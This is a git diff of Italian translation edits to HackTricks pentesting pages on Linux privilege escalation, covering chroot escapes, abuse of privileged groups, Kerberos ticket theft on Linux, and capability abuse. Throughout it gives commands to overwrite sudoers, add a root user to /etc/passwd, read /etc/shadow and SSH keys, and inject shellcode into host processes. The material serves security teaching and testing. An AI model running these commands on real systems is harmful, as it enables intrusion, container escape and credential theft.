- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria".
3. **Soluzione**:
- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID.
- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale di PID.
Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
@ -73,7 +73,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/cgroup`).
Puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/cgroup`).
## Riferimenti

22
src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md
View File

@ -1,4 +1,4 @@
# Uscire dalle Carceri
# Uscita dalle Jails
{{#include ../../banners/hacktricks-training.md}}
@ -17,11 +17,11 @@ Di solito questo significa che per uscire devi essere root all'interno del chroo
### Root + CWD
> [!WARNING]
> Se sei **root** all'interno di un chroot puoi **uscire** creando **un altro chroot**. Questo perché 2 chroot non possono coesistere (in Linux), quindi se crei una cartella e poi **crei un nuovo chroot** su quella nuova cartella essendo **tu all'esterno di essa**, ora sarai **fuori dal nuovo chroot** e quindi sarai nel FS.
> Se sei **root** all'interno di un chroot puoi **uscire** creando **un altro chroot**. Questo perché 2 chroot non possono coesistere (in Linux), quindi se crei una cartella e poi **crei un nuovo chroot** su quella nuova cartella essendo **fuori di essa**, ora sarai **fuori dal nuovo chroot** e quindi sarai nel FS.
>
> Questo si verifica perché di solito chroot NON sposta la tua directory di lavoro in quella indicata, quindi puoi creare un chroot ma essere all'esterno di esso.
> Questo avviene perché di solito chroot NON sposta la tua directory di lavoro in quella indicata, quindi puoi creare un chroot ma essere fuori di esso.
Di solito non troverai il binario `chroot` all'interno di una prigione chroot, ma **potresti compilare, caricare ed eseguire** un binario:
Di solito non troverai il binario `chroot` all'interno di una jail chroot, ma **potresti compilare, caricare ed eseguire** un binario:
<details>
@ -76,7 +76,7 @@ system("/bin/bash");
```
</details>
### Root + fd salvato
### Root + Saved fd
> [!WARNING]
> Questo è simile al caso precedente, ma in questo caso l'**attaccante memorizza un descrittore di file nella directory corrente** e poi **crea il chroot in una nuova cartella**. Infine, poiché ha **accesso** a quel **FD** **al di fuori** del chroot, vi accede e **escapa**.
@ -109,14 +109,14 @@ chroot(".");
### Root + Fork + UDS (Unix Domain Sockets)
> [!WARNING]
> FD può essere passato attraverso Unix Domain Sockets, quindi:
> FD può essere passato tramite Unix Domain Sockets, quindi:
>
> - Crea un processo figlio (fork)
> - Crea UDS in modo che il genitore e il figlio possano comunicare
> - Esegui chroot nel processo figlio in una cartella diversa
> - Nel processo genitore, crea un FD di una cartella che si trova al di fuori del nuovo chroot del processo figlio
> - Passa a quel processo figlio quell'FD utilizzando l'UDS
> - Il processo figlio cambia directory in quell'FD, e poiché è al di fuori del suo chroot, evaderà dalla prigione
> - Il processo figlio cambia directory in quell'FD, e poiché è al di fuori del suo chroot, evaderà la prigione
### Root + Mount
@ -139,7 +139,7 @@ chroot(".");
> [!WARNING]
>
> - Crea un Fork (processo figlio) e chroot in una cartella diversa più profonda nel FS e CD su di essa
> - Crea un Fork (processo figlio) e chroot in una cartella diversa più in profondità nel FS e CD su di essa
> - Dal processo genitore, sposta la cartella in cui si trova il processo figlio in una cartella precedente al chroot dei figli
> - Questo processo figlio si troverà al di fuori del chroot
@ -198,7 +198,7 @@ BASH_CMDS[shell]=/bin/bash;shell -i
```
### Wget
Puoi sovrascrivere ad esempio il file sudoers.
Puoi sovrascrivere ad esempio il file sudoers
```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```
@ -209,6 +209,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
[https://gtfobins.github.io](https://gtfobins.github.io)\
**Potrebbe essere interessante anche la pagina:**
{{#ref}}
../bypass-bash-restrictions/
{{#endref}}
@ -217,6 +218,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
Trucchi su come evadere dalle carceri python nella seguente pagina:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
@ -238,7 +240,7 @@ Elenca le funzioni di una libreria:
```bash
for k,v in pairs(string) do print(k,v) end
```
Nota che ogni volta che esegui il precedente one liner in un **ambiente lua diverso, l'ordine delle funzioni cambia**. Pertanto, se hai bisogno di eseguire una funzione specifica, puoi effettuare un attacco di forza bruta caricando diversi ambienti lua e chiamando la prima funzione della libreria:
Nota che ogni volta che esegui la riga di comando precedente in un **ambiente lua diverso, l'ordine delle funzioni cambia**. Pertanto, se hai bisogno di eseguire una funzione specifica, puoi effettuare un attacco di forza bruta caricando diversi ambienti lua e chiamando la prima funzione della libreria:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky

20
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -1,4 +1,4 @@
# Gruppi Interessanti - Linux Privesc
# Gruppi Interessanti - Privesc Linux
{{#include ../../../banners/hacktricks-training.md}}
@ -31,7 +31,7 @@ Questo perché tipicamente questi sono i gruppi all'interno della **politica pol
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni linux i gruppi **sudo** e **admin** appaiono.
Lì troverai quali gruppi sono autorizzati a eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni Linux i gruppi **sudo** e **admin** appaiono.
Per **diventare root puoi eseguire**:
```bash
@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione a questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
**Non è perché non hai permessi, ma perché non sei connesso senza una GUI**. E c'è una soluzione per questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -54,7 +54,7 @@ pkexec "/bin/bash" #Step 3, execute pkexec
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
## Gruppo Wheel
## Wheel Group
**A volte**, **per impostazione predefinita** all'interno del **/etc/sudoers** file puoi trovare questa riga:
```
@ -86,9 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Se riusciamo a dirottare alcuni programmi in `/usr/local`, possiamo facilmente ottenere i privilegi di root.
Se riusciamo a compromettere alcuni programmi in `/usr/local`, possiamo facilmente ottenere i privilegi di root.
Dirottare il programma `run-parts` è un modo semplice per ottenere i privilegi di root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh).
Compromettere il programma `run-parts` è un modo semplice per ottenere i privilegi di root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -141,14 +141,14 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Nota che utilizzando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare:
Nota che usando debugfs puoi anche **scrivere file**. Ad esempio, per copiare `/tmp/asd1.txt` in `/tmp/asd2.txt` puoi fare:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Tuttavia, se provi a **scrivere file di proprietà di root** (come `/etc/shadow` o `/etc/passwd`) riceverai un errore di "**Permesso negato**".
## Video Group
## Gruppo Video
Utilizzando il comando `w` puoi scoprire **chi è connesso al sistema** e mostrerà un output simile al seguente:
```bash
@ -163,7 +163,7 @@ Il **gruppo video** ha accesso per visualizzare l'output dello schermo. Fondamen
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e selezionare come tipo di file **Dati immagine raw**:
Per **aprire** l'**immagine raw** puoi usare **GIMP**, selezionare il file **`screen.raw`** e scegliere come tipo di file **Dati immagine raw**:
![](<../../../images/image (463).png>)
@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?), potresti sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui:
Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?), puoi sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui:
{{#ref}}
../docker-security/

21
src/linux-hardening/privilege-escalation/linux-active-directory.md
View File

@ -4,7 +4,7 @@
Una macchina linux può essere presente anche all'interno di un ambiente Active Directory.
Una macchina linux in un AD potrebbe essere **in grado di memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket kerberos**. Per leggere questi ticket è necessario essere l'utente proprietario del ticket o **root** all'interno della macchina.
Una macchina linux in un AD potrebbe **memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket kerberos**. Per leggere questi ticket è necessario essere l'utente proprietario del ticket o **root** all'interno della macchina.
## Enumerazione
@ -14,13 +14,15 @@ Se hai accesso a un AD in linux (o bash in Windows) puoi provare [https://github
Puoi anche controllare la seguente pagina per apprendere **altri modi per enumerare l'AD da linux**:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
### FreeIPA
FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un completo **LDAP directory** con un MIT **Kerberos** Key Distribution Center per una gestione simile a Active Directory. Utilizzando il Dogtag **Certificate System** per la gestione dei certificati CA & RA, supporta l'autenticazione **multi-fattore**, inclusi i smartcard. SSSD è integrato per i processi di autenticazione Unix. Scopri di più in:
FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un **directory LDAP** completo con un MIT **Kerberos** Key Distribution Center per la gestione simile a Active Directory. Utilizzando il Dogtag **Certificate System** per la gestione dei certificati CA & RA, supporta l'autenticazione **multi-fattore**, inclusi i smartcard. SSSD è integrato per i processi di autenticazione Unix. Scopri di più in:
{{#ref}}
../freeipa-pentesting.md
@ -32,15 +34,16 @@ FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory
In questa pagina troverai diversi luoghi dove potresti **trovare ticket kerberos all'interno di un host linux**, nella pagina seguente puoi apprendere come trasformare questi formati di ticket CCache in Kirbi (il formato che devi usare in Windows) e anche come eseguire un attacco PTT:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
{{#endref}}
### Riutilizzo del ticket CCACHE da /tmp
I file CCACHE sono formati binari per **memorizzare le credenziali Kerberos** e sono tipicamente memorizzati con permessi 600 in `/tmp`. Questi file possono essere identificati dal loro **formato di nome, `krb5cc_%{uid}`,** correlato all'UID dell'utente. Per la verifica del ticket di autenticazione, la **variabile di ambiente `KRB5CCNAME`** deve essere impostata sul percorso del file ticket desiderato, consentendone il riutilizzo.
I file CCACHE sono formati binari per **memorizzare le credenziali Kerberos** e sono tipicamente memorizzati con permessi 600 in `/tmp`. Questi file possono essere identificati dal loro **formato di nome, `krb5cc_%{uid}`,** che corrisponde all'UID dell'utente. Per la verifica del ticket di autenticazione, la **variabile di ambiente `KRB5CCNAME`** deve essere impostata sul percorso del file ticket desiderato, consentendone il riutilizzo.
Elenca il ticket attualmente utilizzato per l'autenticazione con `env | grep KRB5CCNAME`. Il formato è portatile e il ticket può essere **riutilizzato impostando la variabile di ambiente** con `export KRB5CCNAME=/tmp/ticket.ccache`. Il formato del nome del ticket Kerberos è `krb5cc_%{uid}` dove uid è l'UID dell'utente.
Elenca il ticket attualmente utilizzato per l'autenticazione con `env | grep KRB5CCNAME`. Il formato è portabile e il ticket può essere **riutilizzato impostando la variabile di ambiente** con `export KRB5CCNAME=/tmp/ticket.ccache`. Il formato del nome del ticket Kerberos è `krb5cc_%{uid}` dove uid è l'UID dell'utente.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -49,7 +52,7 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### Riutilizzo dei ticket CCACHE dalla keyring
### Riutilizzo del ticket CCACHE dalla keyring
**I ticket Kerberos memorizzati nella memoria di un processo possono essere estratti**, in particolare quando la protezione ptrace della macchina è disabilitata (`/proc/sys/kernel/yama/ptrace_scope`). Uno strumento utile per questo scopo si trova su [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), che facilita l'estrazione iniettando nelle sessioni e dumpando i ticket in `/tmp`.
@ -66,12 +69,12 @@ Questa procedura tenterà di iniettare in varie sessioni, indicando il successo
SSSD mantiene una copia del database al percorso `/var/lib/sss/secrets/secrets.ldb`. La chiave corrispondente è memorizzata come file nascosto al percorso `/var/lib/sss/secrets/.secrets.mkey`. Per impostazione predefinita, la chiave è leggibile solo se si dispone di permessi **root**.
Invocando **`SSSDKCMExtractor`** con i parametri --database e --key si analizzerà il database e **decrypterà i segreti**.
Invocando **`SSSDKCMExtractor`** con i parametri --database e --key si analizzerà il database e **decrittografare i segreti**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
Il **blob della cache delle credenziali Kerberos può essere convertito in un file Kerberos CCache utilizzabile** che può essere passato a Mimikatz/Rubeus.
Il **blob della cache delle credenziali Kerberos può essere convertito in un file Kerberos CCache** utilizzabile che può essere passato a Mimikatz/Rubeus.
### Riutilizzo del ticket CCACHE da keytab
```bash
@ -81,9 +84,9 @@ klist -k /etc/krb5.keytab
```
### Estrai account da /etc/krb5.keytab
Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, sono archiviate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una stretta riservatezza.
Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, sono archiviate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una rigorosa riservatezza.
Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa la **NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23.
Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa l'**NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

102
src/linux-hardening/privilege-escalation/linux-capabilities.md
View File

@ -5,7 +5,7 @@
## Linux Capabilities
Le capacità di Linux dividono **i privilegi di root in unità più piccole e distinte**, consentendo ai processi di avere un sottoinsieme di privilegi. Questo riduce i rischi non concedendo inutilmente privilegi di root completi.
Le capacità di Linux dividono **i privilegi di root in unità più piccole e distinte**, consentendo ai processi di avere un sottoinsieme di privilegi. Questo riduce i rischi non concedendo privilegi di root completi inutilmente.
### Il Problema:
@ -22,12 +22,12 @@ Le capacità di Linux dividono **i privilegi di root in unità più piccole e di
2. **Effective (CapEff)**:
- **Scopo**: Rappresenta le capacità effettive che un processo sta utilizzando in un dato momento.
- **Funzionalità**: È l'insieme di capacità controllato dal kernel per concedere permessi per varie operazioni. Per i file, questo insieme può essere un flag che indica se le capacità consentite del file devono essere considerate effettive.
- **Funzionalità**: È l'insieme di capacità controllato dal kernel per concedere permessi per varie operazioni. Per i file, questo insieme può essere un flag che indica se le capacità consentite del file devono essere considerate efficaci.
- **Significato**: L'insieme effettivo è cruciale per i controlli immediati dei privilegi, fungendo da insieme attivo di capacità che un processo può utilizzare.
3. **Permitted (CapPrm)**:
- **Scopo**: Definisce il massimo insieme di capacità che un processo può possedere.
- **Scopo**: Definisce l'insieme massimo di capacità che un processo può possedere.
- **Funzionalità**: Un processo può elevare una capacità dall'insieme permesso al suo insieme effettivo, dandogli la possibilità di utilizzare quella capacità. Può anche rinunciare a capacità dal suo insieme permesso.
- **Limite**: Funziona come un limite superiore per le capacità che un processo può avere, assicurando che un processo non superi il proprio ambito di privilegi predefinito.
@ -72,7 +72,7 @@ cat /proc/$$/status | grep Cap #This will print the capabilities of the current
Questo comando dovrebbe restituire 5 righe sulla maggior parte dei sistemi.
- CapInh = Capacità ereditate
- CapPrm = Capacità consentite
- CapPrm = Capacità permesse
- CapEff = Capacità effettive
- CapBnd = Insieme di limitazione
- CapAmb = Insieme di capacità ambientali
@ -133,19 +133,19 @@ I binaries possono avere capacità che possono essere utilizzate durante l'esecu
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
```
Puoi **cercare i binari con capacità** utilizzando:
Puoi **cercare binari con capacità** utilizzando:
```bash
getcap -r / 2>/dev/null
```
### Rinunciare alle capacità con capsh
### Dropping capabilities with capsh
Se rinunciamo alle capacità CAP*NET_RAW per \_ping*, allora l'utilità ping non dovrebbe più funzionare.
Se rimuoviamo le capacità CAP*NET_RAW per \_ping*, allora l'utilità ping non dovrebbe più funzionare.
```bash
capsh --drop=cap_net_raw --print -- -c "tcpdump"
```
Oltre all'output di _capsh_ stesso, anche il comando _tcpdump_ dovrebbe sollevare un errore.
Oltre all'output di _capsh_ stesso, anche il comando _tcpdump_ dovrebbe generare un errore.
> /bin/bash: /usr/sbin/tcpdump: Operazione non permessa
> /bin/bash: /usr/sbin/tcpdump: Operazione non consentita
L'errore mostra chiaramente che il comando ping non è autorizzato ad aprire un socket ICMP. Ora sappiamo con certezza che questo funziona come previsto.
@ -292,9 +292,9 @@ Pertanto, un file di **configurazione del servizio** consente di **specificare**
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
```
## Capabilities in Docker Containers
## Capacità nei Container Docker
Per impostazione predefinita, Docker assegna alcune capacità ai contenitori. È molto facile controllare quali sono queste capacità eseguendo:
Per impostazione predefinita, Docker assegna alcune capacità ai container. È molto facile controllare quali sono queste capacità eseguendo:
```bash
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
@ -311,9 +311,9 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
```
## Privesc/Container Escape
Le capacità sono utili quando **vuoi limitare i tuoi processi dopo aver eseguito operazioni privilegiate** (ad esempio, dopo aver impostato chroot e collegato a un socket). Tuttavia, possono essere sfruttate passando loro comandi o argomenti malevoli che vengono poi eseguiti come root.
Le capacità sono utili quando **vuoi limitare i tuoi stessi processi dopo aver eseguito operazioni privilegiate** (ad esempio, dopo aver impostato chroot e collegato a un socket). Tuttavia, possono essere sfruttate passando loro comandi o argomenti malevoli che vengono poi eseguiti come root.
Puoi forzare le capacità sui programmi usando `setcap`, e interrogarle usando `getcap`:
Puoi forzare le capacità sui programmi usando `setcap` e interrogarle usando `getcap`:
```bash
#Set Capability
setcap cap_net_raw+ep /sbin/ping
@ -346,7 +346,7 @@ getcap /usr/sbin/tcpdump
```
### Il caso speciale delle capacità "vuote"
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Nota che è possibile assegnare set di capacità vuoti a un file di programma, e quindi è possibile creare un programma set-user-ID-root che cambia l'effettivo e il salvato set-user-ID del processo che esegue il programma a 0, ma non conferisce capacità a quel processo. Oppure, per dirla semplicemente, se hai un binario che:
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Nota che è possibile assegnare set di capacità vuoti a un file di programma, e quindi è possibile creare un programma set-user-ID-root che cambia l'ID utente effettivo e salvato del processo che esegue il programma a 0, ma non conferisce alcuna capacità a quel processo. O, per dirla semplicemente, se hai un binario che:
1. non è di proprietà di root
2. non ha bit `SUID`/`SGID` impostati
@ -356,7 +356,7 @@ allora **quel binario verrà eseguito come root**.
## CAP_SYS_ADMIN
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** è una capacità Linux altamente potente, spesso equiparata a un livello quasi root a causa dei suoi ampi **privilegi amministrativi**, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene sia indispensabile per i contenitori che simulano interi sistemi, **`CAP_SYS_ADMIN` presenta sfide significative per la sicurezza**, specialmente negli ambienti containerizzati, a causa del suo potenziale per l'escalation dei privilegi e il compromesso del sistema. Pertanto, il suo utilizzo richiede valutazioni di sicurezza rigorose e una gestione cauta, con una forte preferenza per la rimozione di questa capacità nei contenitori specifici per le applicazioni per aderire al **principio del minimo privilegio** e ridurre al minimo la superficie di attacco.
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** è una capacità Linux altamente potente, spesso equiparata a un livello quasi root a causa dei suoi ampi **privilegi amministrativi**, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene sia indispensabile per i contenitori che simulano interi sistemi, **`CAP_SYS_ADMIN` presenta sfide di sicurezza significative**, specialmente negli ambienti containerizzati, a causa del suo potenziale per l'escalation dei privilegi e il compromesso del sistema. Pertanto, il suo utilizzo richiede valutazioni di sicurezza rigorose e una gestione cauta, con una forte preferenza per la rimozione di questa capacità nei contenitori specifici per le applicazioni per aderire al **principio del minimo privilegio** e ridurre la superficie di attacco.
**Esempio con binario**
```bash
@ -403,7 +403,7 @@ All'interno dell'output precedente puoi vedere che la capacità SYS_ADMIN è abi
- **Mount**
Questo consente al container docker di **montare il disco host e accedervi liberamente**:
Questo consente al contenitore docker di **montare il disco host e accedervi liberamente**:
```bash
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
@ -434,9 +434,9 @@ ssh john@172.17.0.1 -p 2222
```
## CAP_SYS_PTRACE
**Questo significa che puoi sfuggire al contenitore iniettando un shellcode all'interno di un processo in esecuzione all'interno dell'host.** Per accedere ai processi in esecuzione all'interno dell'host, il contenitore deve essere eseguito almeno con **`--pid=host`**.
**Questo significa che puoi sfuggire al contenitore iniettando un shellcode all'interno di qualche processo in esecuzione all'interno dell'host.** Per accedere ai processi in esecuzione all'interno dell'host, il contenitore deve essere eseguito almeno con **`--pid=host`**.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede la possibilità di utilizzare funzionalità di debug e tracciamento delle chiamate di sistema fornite da `ptrace(2)` e chiamate di attacco alla memoria incrociata come `process_vm_readv(2)` e `process_vm_writev(2)`. Sebbene sia potente per scopi diagnostici e di monitoraggio, se `CAP_SYS_PTRACE` è abilitato senza misure restrittive come un filtro seccomp su `ptrace(2)`, può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da [proofs of concept (PoC) come questo](https://gist.github.com/thejh/8346f47e359adecd1d53).
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede la possibilità di utilizzare funzionalità di debug e tracciamento delle chiamate di sistema fornite da `ptrace(2)` e chiamate di attacco alla memoria incrociata come `process_vm_readv(2)` e `process_vm_writev(2)`. Sebbene sia potente per scopi diagnostici e di monitoraggio, se `CAP_SYS_PTRACE` è abilitato senza misure restrittive come un filtro seccomp su `ptrace(2)`, può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da [prove di concetto (PoC) come questa](https://gist.github.com/thejh/8346f47e359adecd1d53).
**Esempio con binario (python)**
```bash
@ -560,7 +560,7 @@ chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
```
Esegui il debug di un processo root con gdb e copia-incolla le righe gdb generate in precedenza:
Debugga un processo root con gdb e copia-incolla le righe gdb generate in precedenza:
```bash
# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
@ -585,7 +585,7 @@ process 207009 is executing new program: /usr/bin/dash
```
**Esempio con ambiente (Docker breakout) - Un altro abuso di gdb**
Se **GDB** è installato (o puoi installarlo con `apk add gdb` o `apt install gdb` per esempio) puoi **debuggare un processo dall'host** e farlo chiamare la funzione `system`. (Questa tecnica richiede anche la capacità `SYS_ADMIN`)**.**
Se **GDB** è installato (o puoi installarlo con `apk add gdb` o `apt install gdb`, ad esempio) puoi **debuggare un processo dall'host** e farlo chiamare la funzione `system`. (Questa tecnica richiede anche la capacità `SYS_ADMIN`)**.**
```bash
gdb -p 1234
(gdb) call (void)system("ls")
@ -612,7 +612,7 @@ uid=0(root)
gid=0(root)
groups=0(root
```
Elenca i **processi** in esecuzione nell'**host** `ps -eaf`
Elenca **processi** in esecuzione nell'**host** `ps -eaf`
1. Ottieni l'**architettura** `uname -m`
2. Trova un **shellcode** per l'architettura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
@ -627,7 +627,7 @@ Elenca i **processi** in esecuzione nell'**host** `ps -eaf`
**Esempio con binario**
Nell'esempio seguente il binario **`python`** ha questa capacità.
Nell'esempio seguente, il binario **`python`** ha questa capacità.
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
@ -710,11 +710,11 @@ clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```
> [!WARNING]
> Il carattere vuoto prima di ogni parola make nel Makefile **deve essere un tab, non spazi**!
> Il carattere vuoto prima di ogni parola make nel Makefile **deve essere una tabulazione, non spazi**!
Esegui `make` per compilarlo.
```
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
```bash
Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
@ -733,7 +733,7 @@ Un altro esempio di questa tecnica può essere trovato in [https://www.cyberark.
## CAP_DAC_READ_SEARCH
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente a un processo di **bypassare i permessi per la lettura dei file e per la lettura e l'esecuzione delle directory**. Il suo utilizzo principale è per scopi di ricerca o lettura di file. Tuttavia, consente anche a un processo di utilizzare la funzione `open_by_handle_at(2)`, che può accedere a qualsiasi file, inclusi quelli al di fuori dello spazio dei nomi di montaggio del processo. L'identificatore utilizzato in `open_by_handle_at(2)` dovrebbe essere un identificatore non trasparente ottenuto tramite `name_to_handle_at(2)`, ma può includere informazioni sensibili come i numeri degli inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei contenitori Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato [qui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente a un processo di **bypassare i permessi per la lettura dei file e per la lettura e l'esecuzione delle directory**. Il suo utilizzo principale è per scopi di ricerca o lettura di file. Tuttavia, consente anche a un processo di utilizzare la funzione `open_by_handle_at(2)`, che può accedere a qualsiasi file, inclusi quelli al di fuori dello spazio dei nomi di montaggio del processo. L'identificatore utilizzato in `open_by_handle_at(2)` dovrebbe essere un identificatore non trasparente ottenuto tramite `name_to_handle_at(2)`, ma può includere informazioni sensibili come numeri di inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei contenitori Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato [qui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
**Questo significa che puoi** **bypassare i controlli dei permessi di lettura dei file e i controlli dei permessi di lettura/esecuzione delle directory.**
**Esempio con binario**
@ -747,7 +747,7 @@ tar -cxf shadow.tar.gz
```
**Esempio con binary2**
